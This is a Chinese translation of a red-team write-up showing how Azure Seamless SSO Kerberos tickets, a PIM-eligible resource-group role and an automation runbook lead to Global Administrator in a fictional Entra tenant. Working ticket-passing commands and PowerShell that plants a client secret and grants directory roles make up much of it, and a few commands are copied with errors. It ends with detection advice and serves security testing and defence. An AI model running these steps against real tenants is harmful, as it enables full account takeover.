Azure无缝SSO:当Cookie窃取失效时的新攻击路径

admin 2025-12-22 04:18:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了当Cookie窃取失效时如何利用AzureSeamlessSSO实现新的攻击路径。通过BloodHound图分析和自定义Cypher查询发现从AD同步用户到全局管理员的攻击链,然后利用AzureSeamlessSSO特性进行认证,包括配置Firefox、传递票据和使用设备码认证。文章详细展示了如何利用资源组权限创建自动化Runbook为服务主体添加客户端密钥,最终创建新应用程序并将用户提升为全局管理员,同时提供了检测建议和防护措施。 综合评分: 85 文章分类: 云安全,渗透测试,红队,内网渗透,AI安全


cover_image

Azure无缝SSO:当Cookie窃取失效时的新攻击路径

Dubito

云原生安全指北

2025年12月16日 08:36 江苏

注:本文翻译自 Specter Ops 的文章《Azure Seamless SSO: When Cookie Theft Doesn’t Cut It》[1],可点击文末“阅读原文”按钮查看英文原文。

全文如下:

摘要

Cookie过期失效了,但攻击路径并未消失。了解如何利用BloodHound图分析与Azure Seamless SSO实现向云的横向移动。

一、引言

没有什么比窃取了一些Cookie,却发现它们已经变质过期更糟糕的了。然而,这并不意味着向云的横向移动就无计可施。利用BloodHound,依然是进行图分析、揭示本地用户、Azure资源和Entra角色之间隐藏关系的最有效方法之一;尤其是当自定义Cypher查询能帮助可视化内置查询无法展现的路径时。

在本博客中,我们将演示Azure Seamless SSO[2]如何提供一个合法的认证流,从而横向移动到Entra ID,并完成通向全局管理员的权限提升链。

二、场景描绘

King Mufasa希望保护他的王座,免受任何通向“Pride Lands”租户全局管理员的攻击路径的威胁,并需要你的帮助。BloodHound中的所有内置查询都未能向你展示一条清晰的攻击路径。你知道存在一个可以滥用来获取全局管理员权限的服务主体(King Mufasa),但你不知道如何到达攻击链中的第一个服务主体(Rafiki)。

Entra攻击路径

三、攻击路径分析

接下来,我们问自己:“是否存在一条从某个Entra用户出发,通向拥有全局管理员攻击路径的服务主体的路径?”在最近一次面临类似场景的项目中,我的同事Paul Kim[3]创建了一个Cypher查询来回答这个问题。

MATCH p=(:AZUser)-[:AZ_ATTACK_PATHS]->(:AZResourceGroup)-[:AZ_ATTACK_PATHS*1..3]->(:AZBase)-[:AZAddSecret]->(:AZServicePrincipal)-[:AZ_ATTACK_PATHS]->(:AZTenant)
RETURN p

通过全局管理员权限访问服务主体的攻击路径

从AD同步用户出发的Entra攻击路径

通过这个查询,我们发现了一个Active Directory用户“Simba”被同步到了一个Entra账户。该Entra账户是一个名为“Pride Rock”的资源组的“所有者(Owner)”。该资源组包含一些在服务主体“Rafiki”上下文中运行的Azure Runbook。这个服务主体是Cloud Application Admin组的成员。该组可以为一个名为“King Mufasa”的服务主体添加客户端密钥。而“King Mufasa”拥有Application.ReadWrite.AllAppRoleAssignment.ReadWrite.All权限,可以创建应用程序并为其授予角色。我们可以利用这条路径来创建我们自己的应用“SpecterOpsApp”,并将一个账户“Simba”添加到全局管理员组。

需要记住的一点是,AzureHound目前收集资源组的特权用户身份(PIM,Privileged Identity Management)[4]角色资格信息。因此,如果一个账户可以通过PIM成为资源组的所有者,你可能需要手动发现这个信息。我们稍后会介绍如何操作。首先,我们需要找到横向移动到该Entra ID用户的方法!

四、通过Azure Seamless SSO向Azure PowerShell CLI进行认证

我们的首次尝试是横向移动到Simba的工作站,并用Cookie-Monster[5]窃取他的Cookie。检查Cookie时,我们注意到x-ms-RefreshTokenCredential这个Cookie存在。对其进行解码[6]后发现,载荷部分包含"is_primary": "true",这表明用户是使用主刷新令牌向Entra ID进行身份验证的。不幸的是,这个Cookie已经过期了。虽然我们可以按照Matt Creel博客[7]中概述的步骤请求一个新的PRT Cookie,但我们注意到在AD收集数据中存在一个有趣的计算机账户。计算机账户AZUREADSSOACC$ 存在,这意味着“Pride Lands”环境正在使用Azure Seamless SSO。

简而言之,当启用Azure Seamless SSO时,系统会创建一个名为AZUREADSSOACC$ 的计算机账户,并为其设置一个指向HTTP/autologon.microsoftazuread-sso.com的服务主体名称。当用户登录网站时,用户的浏览器会请求该SPN的服务票据,然后Azure AD会授予对网站的访问权限。

Azure Seamless SSO概述

其工作原理的更多细节可以参考:https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

为了访问利用Azure Seamless SSO的Web应用程序,我们需要模拟用户通过SSO登录。像ROADTools Hybrid[8]或SeamlessPass[9]这样的工具可以做到这一点,但在本次演示中,我们将使用Firefox浏览器,从一台外部机器通过设备代码认证的方式向Azure PowerShell CLI进行身份验证。在使用Firefox之前,需要先在设置中配置允许Microsoft SSO。

五、配置Firefox以使用Azure Seamless SSO

我从Abdulrahman Nour的博客[10]中直接摘录了操作指南,这里做个概述:

  1. 1. 将特定URL添加到受信区域:
  • • 在导航栏输入about:config
  • • 搜索首选项network.negotiate-auth.trusted-uris
  • • 添加以下URL:https://autologon.microsoftazuread-sso.com
  1. 2. 在设置中启用Windows SSO:
  • • 进入“设置”
  • • 启用“允许Microsoft、工作或学校账户使用Windows单点登录”

在Firefox中启用SSO

六、传递票据

在请求服务票据之前,我建议先用ROADRecon[11]审查目标组织的条件访问策略(CAP,Conditional Access Policies)。CAP可能会在满足某些条件时强制执行MFA,例如登录特定应用程序或从组织外部IP登录。如果你需要将你的Windows工作站流量通过代理系统进入目标组织的网络,可以查阅Nick Powers关于通过SOCKS代理Windows工具[12]的博客。

现在Firefox已正确设置,我们的外部工作站也通过代理将流量导入了“Pride Lands”环境,接下来让我们请求服务票据并将其导入当前会话:

# 在Linux虚拟机上操作

## 请求票据
proxychains getST.py -spn http/autologon.microsoftazuread-sso.com PrideLands/simba:'Password' -dc-ip 10.0.0.1

## 转换为kirbi格式
ticketConverter.py simba@[email protected] simba@[email protected]

cat simba@[email protected] | base64 -w0

# 在Windows虚拟机上操作

## 传递票据
.\Rubeus.exe ptt /ticket:doI...

& "C:\Program Files\Mozilla Firefox\firefox.exe"

传递票据

接下来,我们将为设备码认证请求代理一个PowerShell会话,并通过代理的Firefox会话完成认证流程,以满足条件访问策略的要求:

# 生成设备码
Connect-AzAccount -Tenant <TenantID> -UseDeviceAuthentication
[Login to Azure] To sign&nbsp;in, use a web browser to&nbsp;open&nbsp;the page https://microsoft.com/devicelogin&nbsp;and&nbsp;enter the code ABCDEFGHI to authenticate.
# 译:[登录到 Azure] 要登录,请使用 Web 浏览器打开页面 https://microsoft.com/devicelogin 并输入代码 ABCDEFGHI 进行身份验证。

## 在Firefox会话中访问 https://microsoft.com/devicelogin 并使用生成的设备码登录

## 如果成功,你将看到类似以下的信息
Retrieving subscriptions&nbsp;for&nbsp;the selection…
# 译:正在为所选内容检索订阅...

[Tenant&nbsp;and&nbsp;subscription selection]

No &nbsp; &nbsp; &nbsp;Subscription name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Subscription ID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Tenant name
—- &nbsp; &nbsp;——————————- &nbsp; &nbsp;——————————- &nbsp; &nbsp; ————————–
[1] &nbsp; &nbsp; PRIDELANDS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <GUID>

Azure PowerShell CLI 设备代码认证

七、查找符合条件的PIM角色

关于攻击路径,最后需要补充的一点是:如果你的AzureHound收集数据显示不出资源组的所有者,那么了解你的账户是否利用PIM在资源组中获取权限可能会很有帮助。以下是一种发现你的账户符合哪些PIM角色的方法:

$role = Get-AzRoleEligibilitySchedule -Scope “/” -Filter “AsTarget()” | Select-Object ScopeDisplayName, RoleDefinitionDisplayName, Scope, ScopeID, PrincipalID, RoleDefinitionID, Name

$role

ScopeDisplayName &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: PrideRock
RoleDefinitionDisplayName : Owner
Scope &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : /subscriptions/<GUID>/resourceGroups/PrideRock
ScopeId &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : /subscriptions/<GUID>/resourceGroups/PrideRock
PrincipalId &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : <GUID>
RoleDefinitionId &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: /subscriptions/<GUID>/providers/Microsoft.Authorization/roleDefinitions/<GUID>
Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: <GUID>

发现已登录用户的PIM角色

如果你符合某个角色的条件,就为该资源组提交激活请求:

$Duration =&nbsp;2
$Justification = “SpecterOps”

New-AzRoleAssignmentScheduleRequest @roleActivateParams -ErrorAction Stop
$roleActivateParams = @{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= New-Guid
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Scope &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = $role.ScopeId
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PrincipalId &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = $role.PrincipalId
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RoleDefinitionId &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= $role.RoleDefinitionId
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RequestType &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = ‘SelfActivate’
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LinkedRoleEligibilityScheduleId = $role.Name
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ScheduleInfoStartDateTime &nbsp; &nbsp; &nbsp; = Get-Date -Format o
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ExpirationDuration &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= [XmlConvert]::ToString([TimeSpan]::FromHours($Duration))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ExpirationType &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= “AfterDuration”
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Justification &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = $Justification
}

New-AzRoleAssignmentScheduleRequest @roleActivateParams -ErrorAction Stop

提交角色激活请求

八、创建用于添加客户端密钥的自动化Runbook

现在我们已经拥有了对资源组拥有“所有者”权限的Azure PowerShell CLI会话,让我们枚举一下“Pride Rock”资源组内的资源。

$resources = Get-AzResource -ResourceGroupName “PrideRock”
$resources

Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: Rafiki/ExampleRunbook
ResourceGroupName : PrideRock
ResourceType &nbsp; &nbsp; &nbsp;: Microsoft.Automation/automationAccounts/runbooks
Location &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: eastus1
ResourceId &nbsp; &nbsp; &nbsp; &nbsp;: /subscriptions/<GUID>/resourceGroups/PrideRock/providers/Microsoft.Automation/automationAccounts/Rafiki/runbooks/ExampleRunbook

$automationAccounts = Get-AzAutomationAccount -ResourceGroupName “PrideRock”
$automationAccounts
SubscriptionId &nbsp; &nbsp; &nbsp; &nbsp;: <GUID>
ResourceGroupName &nbsp; &nbsp; : PrideRock
AutomationAccountName : Rafiki
Location &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: eastus1
State &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : Ok
Plan &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:
CreationTime &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:&nbsp;10/31/2025&nbsp;9:45:32&nbsp;AM -05:00
LastModifiedTime &nbsp; &nbsp; &nbsp;:&nbsp;10/31/2025&nbsp;1:48:22&nbsp;PM -05:00
LastModifiedBy &nbsp; &nbsp; &nbsp; &nbsp;:
Identity &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: Microsoft.Azure.Management.Automation.Models.Identity
Encryption &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:
PublicNetworkAccess &nbsp; :&nbsp;True

枚举资源和自动化账户

我们发现了一个名为“Rafiki”的自动化账户,它会在计划运行Azure Runbook时被使用。Rafiki是云应用程序管理员,可以用来为另一个应用程序添加客户端密钥。接下来,我们将创建一个Runbook,为“King Mufasa”服务主体添加客户端密钥。

$runbookCode = @'
try {
&nbsp; &nbsp; Write-Output "正在使用托管身份连接到Azure..."
&nbsp; &nbsp; # 使用分配给自动化账户的托管身份进行连接
&nbsp; &nbsp; Connect-AzAccount -Identity
&nbsp; &nbsp; Write-Output "成功连接到Azure"
&nbsp; &nbsp; Write-Output "-------------------------------"

&nbsp; &nbsp; # 获取当前上下文以显示身份信息
&nbsp; &nbsp; $context = Get-AzContext
&nbsp; &nbsp; Write-Output "身份信息:"
&nbsp; &nbsp; Write-Output " &nbsp;运行身份: $($context.Account.Id)"
&nbsp; &nbsp; Write-Output " &nbsp;账户类型: $($context.Account.Type)"
&nbsp; &nbsp; Write-Output " &nbsp;租户ID: $($context.Tenant.Id)"
&nbsp; &nbsp; Write-Output " &nbsp;订阅: $($context.Subscription.Name) ($($context.Subscription.Id))"
&nbsp; &nbsp; Write-Output "-------------------------------"

&nbsp; &nbsp; # 连接到Microsoft Graph
&nbsp; &nbsp; Write-Output "正在连接到Microsoft Graph..."
&nbsp; &nbsp; Connect-MgGraph -Identity

&nbsp; &nbsp; # 搜索应用程序
&nbsp; &nbsp; $appName = "KingMufasa"

&nbsp; &nbsp; Write-Output "正在搜索应用程序: $appName"
&nbsp; &nbsp; $app = Get-MgApplication -Filter "displayName eq '$appName'"
&nbsp; &nbsp; if ($null -eq $app) {
&nbsp; &nbsp; &nbsp; &nbsp; throw "未找到应用程序 '$appName'"
&nbsp; &nbsp; }

&nbsp; &nbsp; Write-Output "找到应用程序:"
&nbsp; &nbsp; Write-Output " &nbsp;显示名称: $($app.DisplayName)"
&nbsp; &nbsp; Write-Output " &nbsp;应用程序ID: $($app.AppId)"
&nbsp; &nbsp; Write-Output " &nbsp;对象ID: $($app.Id)"
&nbsp; &nbsp; Write-Output "-------------------------------"

&nbsp; &nbsp; # 添加新凭据(客户端密钥)
&nbsp; &nbsp; Write-Output "正在向应用程序添加新凭据..."
&nbsp; &nbsp; $passwordCred = @{
&nbsp; &nbsp; &nbsp; &nbsp; DisplayName = "SpecterOps"
&nbsp; &nbsp; &nbsp; &nbsp; EndDateTime = (Get-Date).AddMonths(12) &nbsp;# 有效期为12个月
&nbsp; &nbsp; }
&nbsp; &nbsp; $newCredential = Add-MgApplicationPassword -ApplicationId $app.Id -PasswordCredential $passwordCred

&nbsp; &nbsp; Write-Output "成功添加密码凭据:"
&nbsp; &nbsp; Write-Output " &nbsp;密钥ID: $($newCredential.KeyId)"
&nbsp; &nbsp; Write-Output " &nbsp;显示名称: $($newCredential.DisplayName)"
&nbsp; &nbsp; Write-Output " &nbsp;开始日期: $($newCredential.StartDateTime)"
&nbsp; &nbsp; Write-Output " &nbsp;结束日期: $($newCredential.EndDateTime)"
&nbsp; &nbsp; Write-Output "-------------------------------"
&nbsp; &nbsp; Write-Output "重要:密钥值(请保存此值,它不会再次显示):"
&nbsp; &nbsp; Write-Output $newCredential.SecretText
&nbsp; &nbsp; Write-Output "-------------------------------"
} catch {
&nbsp; &nbsp; Write-Error "发生错误: $_"
&nbsp; &nbsp; throw
} finally {
&nbsp; &nbsp; # 断开与Microsoft Graph的连接
&nbsp; &nbsp; Disconnect-MgGraph -ErrorAction SilentlyContinue
}
'@
$runbookCode | Out-File&nbsp;"C:\Users\domainuser\SpecterOps-Runbook.ps1"&nbsp;-Encoding UTF8

账户接管自动化Runbook

Runbook发布并执行后,我们可以检索作业结果来获取刚刚添加的客户端密钥。

Import-AzAutomationRunbook -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -Name Import-AzAutomationRunbook -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -Name “Add-ServicePrincipalCredentials” -Path “C:\Users\domainuser\SpecterOps-Runbook.ps1” -Type&nbsp;PowerShell -Force -Published

$job = Start-AzAutomationRunbook -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -Name “Add-ServicePrincipalCredentials”

$jobStatus = Get-AzAutomationJob -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -Id $job.JobId

$outputs = Get-AzAutomationJobOutput -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -Id $job.JobId -Stream Output

foreach ($output&nbsp;in&nbsp;$outputs) {
&nbsp; &nbsp;$record = Get-AzAutomationJobOutputRecord -ResourceGroupName “PrideRock” -AutomationAccountName “Rafiki” -JobId $job.JobId -Id $output.StreamRecordId
&nbsp; &nbsp; # 从Value属性访问实际消息
&nbsp; &nbsp;if&nbsp;($record.Value.PSObject.Properties[‘Message’]) {
&nbsp; &nbsp; &nbsp; &nbsp;Write-Host $record.Value.Message
&nbsp; &nbsp;} elseif ($record.Value.PSObject.Properties[‘value’]) {
&nbsp; &nbsp; &nbsp; &nbsp;Write-Host $record.Value.value
&nbsp; &nbsp;}&nbsp;else&nbsp;{
&nbsp; &nbsp; # 如果结构不同,则显示完整对象
&nbsp; &nbsp; &nbsp; &nbsp;Write-Host ($record.Value | ConvertTo-Json -Depth&nbsp;3)
&nbsp; &nbsp;}
}

发布Runbook并检索结果

九、以服务主体身份登录以创建SpecterOpsApp

使用我们添加到“King Mufasa”的凭据,我们可以利用其Application.ReadWrite.All权限,创建一个名为“SpecterOpsApp”的我们自己的应用程序。我们还将利用AppRoleAssignment.ReadWrite.All权限,向“SpecterOpsApp”授予RoleManagement.ReadWrite.Directory权限。拥有了这最后一个权限,我们就可以将“Simba”添加到全局管理员组了。

# 登录
$clientId =&nbsp;"CLIENT-ID"
$tenantId =&nbsp;"TENANT-ID"
$clientSecret =&nbsp;"CLIENT-SECRET"
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $clientId, $secureSecret

# 使用服务主体连接到Azure
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential

# 确认我们拥有权限
$mgContext = Get-MgContext
Write-Host&nbsp;"应用程序名称: $($mgContext.AppName)"
Write-Host&nbsp;"权限范围: $($mgContext.Scopes -join ', ')"

# 创建 SpecterOpsApp
$appName =&nbsp;"SpecterOpsApp"
$newApp = New-MgApplication -DisplayName $appName -SignInAudience&nbsp;"AzureADMyOrg"
$sp = New-MgServicePrincipal -AppId $newApp.AppId

$passwordCred = @{
&nbsp; &nbsp; DisplayName =&nbsp;"Generated on $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')"
&nbsp; &nbsp; EndDateTime = (Get-Date).AddMonths(24)&nbsp; # 有效期为24个月
}

$secret = Add-MgApplicationPassword -ApplicationId $newApp.Id -PasswordCredential $passwordCred
$secret
# 保存此密钥!

# 向SpecterOpsApp添加RoleManagement.ReadWrite.Directory角色
$graphSp = Get-MgServicePrincipal -Filter&nbsp;"displayName eq 'Microsoft Graph'"

$permission = $graphSp.AppRoles | Where-Object {
&nbsp; &nbsp; $_.Value -eq&nbsp;"RoleManagement.ReadWrite.Directory"
}

$requiredResourceAccess = @{
&nbsp; &nbsp; ResourceAppId = $graphSp.AppId&nbsp; # Microsoft Graph应用程序ID
&nbsp; &nbsp; ResourceAccess = @(
&nbsp; &nbsp; &nbsp; &nbsp; @{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Id = $permission.Id
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Type&nbsp;=&nbsp;"Role"
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; )
}

Update-MgApplication -ApplicationId $newApp.Id -RequiredResourceAccess @($requiredResourceAccess)

创建具有“RoleManagement.ReadWrite.Directory”角色的SpecterOpsApp

十、以SpecterOpsApp身份登录并将用户添加为全局管理员

最后,我们可以以“SpecterOpsApp”身份登录,并将“Simba”添加到全局管理员角色:

# 登录
$clientId =&nbsp;"CLIENT-ID"
$tenantId =&nbsp;"TENANT-ID"
$clientSecret =&nbsp;"CLIENT-SECRET"
$secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $clientId, $secureSecret

Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential

$mgContext = Get-MgContext

$role = Get-MgDirectoryRole -Filter&nbsp;"displayName eq 'Global Administrator'"
$roleId = $role.Id

# 将目标用户添加为全局管理员
$roleAssignment = @{
&nbsp; &nbsp; "@odata.id"&nbsp;=&nbsp;"https://graph.microsoft.com/v1.0/directoryObjects/<OBJECT-ID-FOR-USER>"
}
New-MgDirectoryRoleMemberByRef -DirectoryRoleId $role.Id -BodyParameter $roleAssignment

添加到全局管理员组

十一、检测机会

  • • 监控Azure AD登录日志:在Azure AD登录日志[13]中,监控那些通常不使用此登录方法的用户的设备码认证协议。
  • • 监控应用创建与权限授予:在Azure Monitor[14]中,监控新应用程序的创建以及是否被授予了RoleManagement.ReadWrite.Directory权限。
  • • 监控Azure中的特权角色分配:监控Azure中的特权角色分配[15]活动。

十二、经验总结

Simba 需要我们的帮助来发现潜在的、通往全局管理员的攻击路径。最初由于Cookie过期看似走进了死胡同,却将我们引向了一条合法的认证路径——Azure Seamless SSO。窃取Cookie并非万能,认证路径仍然至关重要。我们将重点从窃取凭据转向理解用户如何向服务进行身份验证,从而能够通过有效的身份验证流程实现横向移动,最终完全控制租户。

BloodHound依然是进行“图分析思维”的绝佳工具。使用BloodHound有助于梳理环境中存在的服务,并发现通往全局管理员的新途径。当内置查询只能描绘出部分图景时,我们利用自定义Cypher查询来帮助识别身份、自动化和云资源是如何相互交织的。在我们的案例中,它将看似死胡同的局面转化为了完整的租户控制。

引用链接

[1] 《Azure Seamless SSO: When Cookie Theft Doesn’t Cut It》: https://specterops.io/blog/2025/12/11/azure-seamless-sso-when-cookie-theft-doesnt-cut-it/ [2] Azure Seamless SSO: https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso [3] Paul Kim: https://github.com/SpecterUser [4] 特权用户身份(PIM,Privileged Identity Management): https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure [5] Cookie-Monster: https://github.com/KingOfTheNOPs/cookie-monster [6] 解码: https://www.jwt.io/ [7] 博客: https://posts.specterops.io/an-operators-guide-to-device-joined-hosts-and-the-prt-cookie-bcd0db2812c4 [8] ROADTools Hybrid: https://github.com/dirkjanm/roadtools_hybrid [9] SeamlessPass: https://github.com/Malcrove/SeamlessPass [10] Abdulrahman Nour的博客: https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/ [11] ROADRecon: https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon#using-the-data [12] 通过SOCKS代理Windows工具: https://posts.specterops.io/proxy-windows-tooling-via-socks-c1af66daeef3?gi=1a63cf284cd9 [13] Azure AD登录日志: https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins#how-do-you-access-the-sign-in-logs [14] Azure Monitor: https://learn.microsoft.com/en-us/azure/azure-monitor/platform/activity-log?tabs=log-analytics [15] 特权角色分配: https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-alert

交流群


查看原文:《Azure无缝SSO:当Cookie窃取失效时的新攻击路径》

评论:0   参与:  3